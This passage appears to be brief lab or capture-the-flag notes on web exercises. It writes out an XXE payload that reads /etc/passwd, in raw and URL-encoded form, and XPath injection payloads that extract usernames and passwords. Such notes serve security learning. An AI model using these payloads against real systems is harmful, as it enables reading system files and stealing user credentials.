  + Starts with ?xml=<test>hacker</test> which gives hello hacker. Instead we want to do ?xml=<!DOCTYPE test [!ENTITY hackme SYSTEM [file:///etc/passwd>]><test>&hackme;</test](file:///etc/passwd%3e%5d%3e%3ctest%3e&hackme;%3c/test)>. Essential creates variable then calls it. However this needs URL encoded to work so Payload:

***%3D%3C%21DOCTYPE%20test%20%5B%21ENTITY%20hackme%20SYSTEM%20file%3A%2F%2F%2Fetc%2Fpasswd%3E%5D%3E%3Ctest%3E%26hackme%3B%3C%2Ftest%3E.***

* + Ex2/?name=hacker gives Hello Hacker. Payload:***hacker’ or 1=1]%00*** àthis gives a username. Can get several users and their passwords via Payload:***hacker’ or 1=1]/parent::\*/child::node()%00 à note hacker will be in between them***